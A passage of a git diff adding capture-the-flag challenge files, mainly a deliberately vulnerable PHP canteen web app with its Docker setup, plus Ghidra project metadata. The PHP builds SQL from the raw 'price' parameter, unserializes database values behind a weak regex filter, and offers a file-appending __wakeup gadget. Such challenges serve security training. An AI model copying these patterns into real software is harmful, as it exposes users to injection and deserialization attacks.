<STATE NAME="INDEX" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990944120222116" />
|
||||
<STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="Y_OFFSET" TYPE="int" VALUE="0" />
|
||||
</PLUGIN>
|
||||
</DATA_STATE>
|
||||
</RUNNING_TOOL>
|
||||
</WORKSPACE>
|
||||
</TOOL_MANAGER>
|
||||
</PROJECT>
|
||||
|
||||
11
cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp
Normal file
11
cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073ffc5121438189679041" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="udf_c0a8073ffb8121240967914416" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
11
cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp
Normal file
11
cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073e6d1103660918149750" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="udf_c0a8073dcc793952601231625" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
BIN
cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf
Normal file
BIN
cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf
Normal file
Binary file not shown.
BIN
cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf
Normal file
BIN
cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf
Normal file
Binary file not shown.
5
cscg25/rev/grid_wave/gridwave.rep/user/~index.bak
Normal file
5
cscg25/rev/grid_wave/gridwave.rep/user/~index.bak
Normal file
@@ -0,0 +1,5 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041
|
||||
NEXT-ID:4
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
6
cscg25/rev/grid_wave/gridwave.rep/user/~index.dat
Normal file
6
cscg25/rev/grid_wave/gridwave.rep/user/~index.dat
Normal file
@@ -0,0 +1,6 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000004:udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750
|
||||
00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041
|
||||
NEXT-ID:5
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
2
cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak
Normal file
2
cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak
Normal file
@@ -0,0 +1,2 @@
|
||||
IADD:00000004:/udf_c0a8073dcc793952601231625
|
||||
IDSET:/udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750
|
||||
4
cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak
Normal file
4
cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak
Normal file
@@ -0,0 +1,4 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
4
cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat
Normal file
4
cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat
Normal file
@@ -0,0 +1,4 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
49
cscg25/web/canteenfood/Dockerfile
Normal file
49
cscg25/web/canteenfood/Dockerfile
Normal file
@@ -0,0 +1,49 @@
|
||||
FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef
|
||||
|
||||
# Setup user
|
||||
RUN useradd www
|
||||
|
||||
# Install system packeges
|
||||
RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc
|
||||
|
||||
# Add repos
|
||||
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
|
||||
RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list
|
||||
|
||||
# Install PHP dependencies
|
||||
RUN apt update && apt install -y php7.1-fpm php7.1-mysql
|
||||
|
||||
# Configure php-fpm and nginx
|
||||
COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf
|
||||
COPY config/supervisord.conf /etc/supervisord.conf
|
||||
COPY config/nginx.conf /etc/nginx/nginx.conf
|
||||
COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf
|
||||
|
||||
# Copy challenge files
|
||||
COPY challenge /www
|
||||
|
||||
# Copy flag
|
||||
COPY flag.txt /
|
||||
COPY logs.txt /
|
||||
|
||||
|
||||
# Add readflag binary and prepare flag
|
||||
COPY readflag.c /
|
||||
RUN gcc /readflag.c -o /readflag \
|
||||
&& chown root:root /readflag \
|
||||
&& chmod +s /readflag \
|
||||
&& rm /readflag.c \
|
||||
&& chmod 400 /flag.txt
|
||||
|
||||
# Setup permissions
|
||||
RUN chown -R www:www /www /var/lib/nginx
|
||||
RUN chown www:www /logs.txt
|
||||
|
||||
RUN apt-get remove gcc wget -y
|
||||
|
||||
# Expose the port nginx is listening on
|
||||
EXPOSE 80
|
||||
|
||||
# Start db and start supervisord
|
||||
COPY --chown=root entrypoint.sh /entrypoint.sh
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
4
cscg25/web/canteenfood/build_docker.sh
Executable file
4
cscg25/web/canteenfood/build_docker.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
docker rm -f canteenfood
|
||||
docker build -t canteenfood . && \
|
||||
docker run --name=canteenfood --rm -p 127.0.0.1:1337:80 -it canteenfood
|
||||
4
cscg25/web/canteenfood/build_patched_docker.sh
Executable file
4
cscg25/web/canteenfood/build_patched_docker.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
docker rm -f canteenfood_patched
|
||||
docker build -t canteenfood_patched . && \
|
||||
docker run --name=canteenfood_patched -d --rm -p 127.0.0.1:1338:80 -it canteenfood_patched
|
||||
21
cscg25/web/canteenfood/challenge/Database.php
Normal file
21
cscg25/web/canteenfood/challenge/Database.php
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
class Database {
|
||||
|
||||
private static $db;
|
||||
private $connection;
|
||||
|
||||
private function __construct() {
|
||||
$this->connection = new MySQLi('127.0.0.1', $_SERVER['DB_USER'], $_SERVER['DB_PASS'], $_SERVER['DB_NAME']);
|
||||
}
|
||||
|
||||
function __destruct() {
|
||||
$this->connection->close();
|
||||
}
|
||||
|
||||
public static function getConnection() {
|
||||
if (self::$db == null) {
|
||||
self::$db = new Database();
|
||||
}
|
||||
return self::$db->connection;
|
||||
}
|
||||
}
|
||||
114
cscg25/web/canteenfood/challenge/Routing.php
Normal file
114
cscg25/web/canteenfood/challenge/Routing.php
Normal file
@@ -0,0 +1,114 @@
|
||||
<?php
|
||||
// From makelarisjr & makelaris.
|
||||
class Routing
|
||||
{
|
||||
public $rts = [];
|
||||
|
||||
public function new($method, $route, $controller)
|
||||
{
|
||||
$r = [
|
||||
'method' => $method,
|
||||
'route' => $route,
|
||||
];
|
||||
|
||||
if (is_callable($controller))
|
||||
{
|
||||
$r['controller'] = $controller;
|
||||
$this->rts[] = $r;
|
||||
}
|
||||
else if (strpos($controller, '@'))
|
||||
{
|
||||
$split = explode('@', $controller);
|
||||
$class = $split[0];
|
||||
$function = $split[1];
|
||||
|
||||
$r['controller'] = [
|
||||
'class' => $class,
|
||||
'function' => $function
|
||||
];
|
||||
|
||||
$this->rts[] = $r;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception('Invalid controller');
|
||||
}
|
||||
}
|
||||
|
||||
public function match()
|
||||
{
|
||||
foreach($this->rts as $route)
|
||||
{
|
||||
if ($this->_match_route($route['route']))
|
||||
{
|
||||
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
|
||||
{
|
||||
$this->abort(405);
|
||||
}
|
||||
$params = $this->getRouteParameters($route['route']);
|
||||
|
||||
if (is_array($route['controller']))
|
||||
{
|
||||
$controller = $route['controller'];
|
||||
$class = $controller['class'];
|
||||
$function = $controller['function'];
|
||||
|
||||
return (new $class)->$function($this,$params);
|
||||
}
|
||||
return $route['controller']($this,$params);
|
||||
}
|
||||
}
|
||||
|
||||
$this->abort(404);
|
||||
}
|
||||
|
||||
public function _match_route($route)
|
||||
{
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
if (count($uri) != count($route)) return false;
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] != $value && $value != '{param}') return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function getRouteParameters($route)
|
||||
{
|
||||
$params = [];
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] == $value) continue;
|
||||
if ($value == '{param}')
|
||||
{
|
||||
if ($uri[$key] == '')
|
||||
{
|
||||
$this->abort(404);
|
||||
}
|
||||
$params[] = $uri[$key];
|
||||
}
|
||||
}
|
||||
|
||||
return $params;
|
||||
}
|
||||
|
||||
public function abort($code)
|
||||
{
|
||||
http_response_code($code);
|
||||
exit;
|
||||
}
|
||||
|
||||
public function view($view, $data = [])
|
||||
{
|
||||
extract($data);
|
||||
include __DIR__."/views/${view}.php";
|
||||
exit;
|
||||
}
|
||||
}
|
||||
BIN
cscg25/web/canteenfood/challenge/assets/food.gif
Normal file
BIN
cscg25/web/canteenfood/challenge/assets/food.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 MiB |
@@ -0,0 +1,14 @@
|
||||
<?php
|
||||
class AdminController
|
||||
{
|
||||
public function admin($router)
|
||||
{
|
||||
if($_SESSION["admin"] === false) {
|
||||
return $router->view('admin', ['logs' => "Only access allowed for canteen admin!!!"]);
|
||||
} else {
|
||||
$admin = new AdminModel("/logs.txt","");
|
||||
return $router->view('admin', ['logs' => $admin->read_logs("/logs.txt")]);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
class CanteenController
|
||||
{
|
||||
public function index($router)
|
||||
{
|
||||
$food = new CanteenModel(0);
|
||||
if(isset($_GET['price'])) {
|
||||
return $router->view('index', ['food' => $food->filterFood($_GET['price'])]);
|
||||
}
|
||||
return $router->view('index', ['food' => $food->getFood()]);
|
||||
}
|
||||
}
|
||||
20
cscg25/web/canteenfood/challenge/index.php
Normal file
20
cscg25/web/canteenfood/challenge/index.php
Normal file
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
|
||||
$_SESSION["admin"] = false;
|
||||
|
||||
include_once "controllers/AdminController.php";
|
||||
include_once "controllers/CanteenController.php";
|
||||
include_once "models/AdminModel.php";
|
||||
include_once "models/CanteenModel.php";
|
||||
include_once "Routing.php";
|
||||
include_once "Database.php";
|
||||
|
||||
$router = new Routing();
|
||||
$router->new('GET', '/', 'CanteenController@index');
|
||||
$router->new('GET', '/admin', 'AdminController@admin');
|
||||
|
||||
$response = $router->match();
|
||||
|
||||
die($response);
|
||||
32
cscg25/web/canteenfood/challenge/models/AdminModel.php
Normal file
32
cscg25/web/canteenfood/challenge/models/AdminModel.php
Normal file
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
if($_SESSION["admin"] === false){
|
||||
return "You're not welcome. This part is only for canteen workers.";
|
||||
}
|
||||
|
||||
|
||||
class AdminModel {
|
||||
public $filename;
|
||||
public $logcontent;
|
||||
|
||||
public function __construct($filename, $content) {
|
||||
$this->filename = $filename;
|
||||
$this->logcontent = $content;
|
||||
file_put_contents($filename, $content, FILE_APPEND);
|
||||
}
|
||||
|
||||
public function __wakeup() {
|
||||
new LogFile($this->filename, $this->logcontent);
|
||||
}
|
||||
|
||||
public static function read_logs($log) {
|
||||
$contents = file_get_contents($log);
|
||||
return $contents;
|
||||
}
|
||||
}
|
||||
|
||||
class LogFile {
|
||||
public function __construct($filename, $content) {
|
||||
file_put_contents($filename, $content, FILE_APPEND);
|
||||
}
|
||||
}
|
||||
71
cscg25/web/canteenfood/challenge/models/CanteenModel.php
Normal file
71
cscg25/web/canteenfood/challenge/models/CanteenModel.php
Normal file
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
class CanteenModel {
|
||||
|
||||
|
||||
public function getFood() {
|
||||
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
|
||||
$logger = new AdminModel("/logs.txt", $log_entry);
|
||||
|
||||
$db = Database::getConnection();
|
||||
$sql = "SELECT * FROM food";
|
||||
if ($result = $db->query($sql)) {
|
||||
$result_string = "";
|
||||
while($obj = $result->fetch_object()){
|
||||
if($obj->name !== '') {
|
||||
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
|
||||
$db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\"");
|
||||
}
|
||||
|
||||
if($obj->oldvalue !== '') {
|
||||
$dec_result = base64_decode($obj->oldvalue);
|
||||
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
|
||||
return 'Not allowed';
|
||||
}
|
||||
$uns_result = unserialize($dec_result);
|
||||
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
|
||||
$new_value = [$uns_result[0], (rand(0, 100000) / 100)];
|
||||
$db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\"");
|
||||
}
|
||||
}
|
||||
return $result_string;
|
||||
}
|
||||
return 'No food this week - we\'re closed';
|
||||
}
|
||||
|
||||
public function filterFood($price_param) {
|
||||
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
|
||||
$logger = new AdminModel("../logs.txt", $log_entry);
|
||||
|
||||
|
||||
$db = Database::getConnection();
|
||||
$sql = "SELECT * FROM food where price < " . $price_param;
|
||||
error_log(print_r($sql, true));
|
||||
if ($result = $db->query($sql)) {
|
||||
error_log(print_r($result, true));
|
||||
$result_string = "";
|
||||
while($obj = $result->fetch_object()){
|
||||
if($obj->name !== '') {
|
||||
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
|
||||
}
|
||||
|
||||
if($obj->oldvalue !== '') {
|
||||
$dec_result = base64_decode($obj->oldvalue);
|
||||
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
|
||||
return 'Not allowed';
|
||||
}
|
||||
$uns_result = unserialize($dec_result);
|
||||
if ($uns_result[1] < $price_param) {
|
||||
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($result_string === "") {
|
||||
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
|
||||
}
|
||||
return $result_string;
|
||||
}
|
||||
|
||||
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
|
||||
}
|
||||
}
|
||||
67
cscg25/web/canteenfood/challenge/static/css/main.css
Normal file
67
cscg25/web/canteenfood/challenge/static/css/main.css
Normal file
@@ -0,0 +1,67 @@
|
||||
body {
|
||||
font-family: 'Press Start 2P', cursive;
|
||||
min-width: 260px;
|
||||
color: #000000;
|
||||
text-align: center;
|
||||
background-color: #006400;
|
||||
}
|
||||
|
||||
.btn-block {
|
||||
width: 93%;
|
||||
display: inline-block;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-top: 55px !important;
|
||||
}
|
||||
|
||||
#main {
|
||||
margin: 30px auto;
|
||||
padding: 15px;
|
||||
border: 0px solid;
|
||||
border-radius: 5px;
|
||||
background: #556b2f;
|
||||
}
|
||||
|
||||
#title {
|
||||
display: inline-flex;
|
||||
}
|
||||
|
||||
#title i {
|
||||
color: #D34156;
|
||||
font-size: 50px;
|
||||
margin: 0px 40px;
|
||||
}
|
||||
#time {
|
||||
color: #ff0a94;
|
||||
}
|
||||
|
||||
h2 {
|
||||
color: #000000;
|
||||
}
|
||||
|
||||
img {
|
||||
width: 550px;
|
||||
margin-top: 1.4% !important;
|
||||
height: 560px;
|
||||
padding: 20px;
|
||||
max-width: 100%;
|
||||
display: block;
|
||||
height: auto;
|
||||
margin: auto;
|
||||
object-fit: cover;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
img:hover {
|
||||
animation: dance 1.6s;
|
||||
animation-iteration-count: infinite;
|
||||
}
|
||||
|
||||
.pulse{
|
||||
animation: pound 0.84s infinite alternate;
|
||||
-webkit-animation: pound 0.84s infinite alternate;
|
||||
}
|
||||
16
cscg25/web/canteenfood/challenge/views/admin.php
Normal file
16
cscg25/web/canteenfood/challenge/views/admin.php
Normal file
@@ -0,0 +1,16 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta name='author' content='poory'>
|
||||
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
|
||||
<title>Canteen Plan</title>
|
||||
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
|
||||
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
|
||||
<link rel='stylesheet' href='/static/css/main.css' />
|
||||
<link rel='preconnect' href='//fonts.gstatic.com'>
|
||||
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
|
||||
<link rel='icon' href='/assets/favicon.png' />
|
||||
</head>
|
||||
<body>
|
||||
<span id='logs'> <?= $logs ?></span>
|
||||
</body>
|
||||
</html>
|
||||
36
cscg25/web/canteenfood/challenge/views/index.php
Normal file
36
cscg25/web/canteenfood/challenge/views/index.php
Normal file
@@ -0,0 +1,36 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta name='author' content='poory'>
|
||||
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
|
||||
<title>Canteen Plan</title>
|
||||
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
|
||||
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
|
||||
<link rel='stylesheet' href='/static/css/main.css' />
|
||||
<link rel='preconnect' href='//fonts.gstatic.com'>
|
||||
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<a class='fas fa-heart pulse' href="/admin">admin</a>
|
||||
<div id='main' class='container'>
|
||||
<h1 id='title'>
|
||||
<i class='fas fa-heart pulse'></i> <b>Canteen Plan</b> <i class='fas fa-heart pulse'></i>
|
||||
</h1>
|
||||
<br>
|
||||
<div id='img-div'>
|
||||
<img id='image' src='/assets/food.gif' alt='yuuuuuuummy'> <!-- Not modified and taken from https://commons.wikimedia.org/wiki/File:Foods_-_Idil_Keysan_-_Wikimedia_Giphy_stickers_2019.gif . Thanks -->
|
||||
<br>
|
||||
</div>
|
||||
<div id='searchfield'>
|
||||
<form action="/" method="get">
|
||||
<input type="search" id="site-search" placeholder="300" name="price" />
|
||||
<button>Cheap Price Search</button>
|
||||
</form>
|
||||
</div>
|
||||
<br>
|
||||
<h2>Today we will satisfy you with:</h2>
|
||||
<br>
|
||||
<span id='food'> <?= $food ?></span>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
20
cscg25/web/canteenfood/config/fpm.conf
Normal file
20
cscg25/web/canteenfood/config/fpm.conf
Normal file
@@ -0,0 +1,20 @@
|
||||
[global]
|
||||
daemonize = no
|
||||
error_log = /dev/stderr
|
||||
log_level = notice
|
||||
|
||||
[www]
|
||||
user = www
|
||||
group = www
|
||||
|
||||
clear_env = On
|
||||
|
||||
listen = /run/php-fpm.sock
|
||||
listen.owner = www
|
||||
listen.group = www
|
||||
|
||||
pm = dynamic
|
||||
pm.max_children = 15
|
||||
pm.start_servers = 2
|
||||
pm.min_spare_servers = 1
|
||||
pm.max_spare_servers = 3
|
||||
133
cscg25/web/canteenfood/config/mariadb.conf
Normal file
133
cscg25/web/canteenfood/config/mariadb.conf
Normal file
@@ -0,0 +1,133 @@
|
||||
#
|
||||
# These groups are read by MariaDB server.
|
||||
# Use it for options that only the server (but not clients) should see
|
||||
#
|
||||
# See the examples of server my.cnf files in /usr/share/mysql
|
||||
|
||||
# this is read by the standalone daemon and embedded servers
|
||||
[server]
|
||||
|
||||
# this is only for the mysqld standalone daemon
|
||||
[mysqld]
|
||||
|
||||
#
|
||||
# * Basic Settings
|
||||
#
|
||||
user = mysql
|
||||
pid-file = /run/mysqld/mysqld.pid
|
||||
socket = /run/mysqld/mysqld.sock
|
||||
#port = 3306
|
||||
basedir = /usr
|
||||
datadir = /var/lib/mysql
|
||||
tmpdir = /tmp
|
||||
lc-messages-dir = /usr/share/mysql
|
||||
#skip-external-locking
|
||||
|
||||
# Instead of skip-networking the default is now to listen only on
|
||||
# localhost which is more compatible and is not less secure.
|
||||
bind-address = 127.0.0.1
|
||||
|
||||
#
|
||||
# * Fine Tuning
|
||||
#
|
||||
#key_buffer_size = 16M
|
||||
#max_allowed_packet = 16M
|
||||
#thread_stack = 192K
|
||||
#thread_cache_size = 8
|
||||
# This replaces the startup script and checks MyISAM tables if needed
|
||||
# the first time they are touched
|
||||
#myisam_recover_options = BACKUP
|
||||
#max_connections = 100
|
||||
#table_cache = 64
|
||||
#thread_concurrency = 10
|
||||
|
||||
#
|
||||
# * Query Cache Configuration
|
||||
#
|
||||
#query_cache_limit = 1M
|
||||
query_cache_size = 16M
|
||||
|
||||
#
|
||||
# * Logging and Replication
|
||||
#
|
||||
# Both location gets rotated by the cronjob.
|
||||
# Be aware that this log type is a performance killer.
|
||||
# As of 5.1 you can enable the log at runtime!
|
||||
general_log_file = /var/log/mysql/mysql.log
|
||||
general_log = 1
|
||||
#
|
||||
# Error log - should be very few entries.
|
||||
#
|
||||
log_error = /var/log/mysql/error.log
|
||||
#
|
||||
# Enable the slow query log to see queries with especially long duration
|
||||
#slow_query_log_file = /var/log/mysql/mariadb-slow.log
|
||||
#long_query_time = 10
|
||||
#log_slow_rate_limit = 1000
|
||||
#log_slow_verbosity = query_plan
|
||||
#log-queries-not-using-indexes
|
||||
#
|
||||
# The following can be used as easy to replay backup logs or for replication.
|
||||
# note: if you are setting up a replication slave, see README.Debian about
|
||||
# other settings you may need to change.
|
||||
#server-id = 1
|
||||
#log_bin = /var/log/mysql/mysql-bin.log
|
||||
expire_logs_days = 10
|
||||
#max_binlog_size = 100M
|
||||
#binlog_do_db = include_database_name
|
||||
#binlog_ignore_db = exclude_database_name
|
||||
|
||||
#
|
||||
# * Security Features
|
||||
#
|
||||
# Read the manual, too, if you want chroot!
|
||||
#chroot = /var/lib/mysql/
|
||||
#
|
||||
# For generating SSL certificates you can use for example the GUI tool "tinyca".
|
||||
#
|
||||
#ssl-ca = /etc/mysql/cacert.pem
|
||||
#ssl-cert = /etc/mysql/server-cert.pem
|
||||
#ssl-key = /etc/mysql/server-key.pem
|
||||
#
|
||||
# Accept only connections using the latest and most secure TLS protocol version.
|
||||
# ..when MariaDB is compiled with OpenSSL:
|
||||
#ssl-cipher = TLSv1.2
|
||||
# ..when MariaDB is compiled with YaSSL (default in Debian):
|
||||
#ssl = on
|
||||
|
||||
#
|
||||
# * Character sets
|
||||
#
|
||||
# MySQL/MariaDB default is Latin1, but in Debian we rather default to the full
|
||||
# utf8 4-byte character set. See also client.cnf
|
||||
#
|
||||
character-set-server = utf8mb4
|
||||
collation-server = utf8mb4_general_ci
|
||||
|
||||
#
|
||||
# * InnoDB
|
||||
#
|
||||
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
|
||||
# Read the manual for more InnoDB related options. There are many!
|
||||
|
||||
#
|
||||
# * Unix socket authentication plugin is built-in since 10.0.22-6
|
||||
#
|
||||
# Needed so the root database user can authenticate without a password but
|
||||
# only when running as the unix root user.
|
||||
#
|
||||
# Also available for other users if required.
|
||||
# See https://mariadb.com/kb/en/unix_socket-authentication-plugin/
|
||||
|
||||
# this is only for embedded server
|
||||
[embedded]
|
||||
|
||||
# This group is only read by MariaDB servers, not by MySQL.
|
||||
# If you use the same .cnf file for MySQL and MariaDB,
|
||||
# you can put MariaDB-only options here
|
||||
[mariadb]
|
||||
|
||||
# This group is only read by MariaDB-10.3 servers.
|
||||
# If you use the same .cnf file for MariaDB of different versions,
|
||||
# use this group for options that older servers don't understand
|
||||
[mariadb-10.3]
|
||||
39
cscg25/web/canteenfood/config/nginx.conf
Normal file
39
cscg25/web/canteenfood/config/nginx.conf
Normal file
@@ -0,0 +1,39 @@
|
||||
user www;
|
||||
pid /run/nginx.pid;
|
||||
error_log /dev/stderr info;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
server_tokens off;
|
||||
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
|
||||
access_log /dev/stdout docker;
|
||||
|
||||
charset utf-8;
|
||||
keepalive_timeout 20s;
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
client_max_body_size 1M;
|
||||
include /etc/nginx/mime.types;
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
index index.php;
|
||||
root /www;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_pass unix:/run/php-fpm.sock;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
23
cscg25/web/canteenfood/config/supervisord.conf
Normal file
23
cscg25/web/canteenfood/config/supervisord.conf
Normal file
@@ -0,0 +1,23 @@
|
||||
[supervisord]
|
||||
user=root
|
||||
nodaemon=true
|
||||
logfile=/dev/null
|
||||
logfile_maxbytes=0
|
||||
pidfile=/run/supervisord.pid
|
||||
|
||||
[program:fpm]
|
||||
command=php-fpm7.1 -F
|
||||
autostart=true
|
||||
priority=1000
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
||||
|
||||
[program:nginx]
|
||||
command=nginx -g 'daemon off;'
|
||||
autostart=true
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
||||
42
cscg25/web/canteenfood/entrypoint.sh
Executable file
42
cscg25/web/canteenfood/entrypoint.sh
Executable file
@@ -0,0 +1,42 @@
|
||||
#!/bin/bash
|
||||
|
||||
chmod 600 /entrypoint.sh
|
||||
|
||||
mkdir -p /run/mysqld
|
||||
chown -R mysql:mysql /run/mysqld
|
||||
mysql_install_db --user=mysql --ldata=/var/lib/mysql
|
||||
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
|
||||
|
||||
while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done
|
||||
|
||||
|
||||
export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
|
||||
export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
|
||||
|
||||
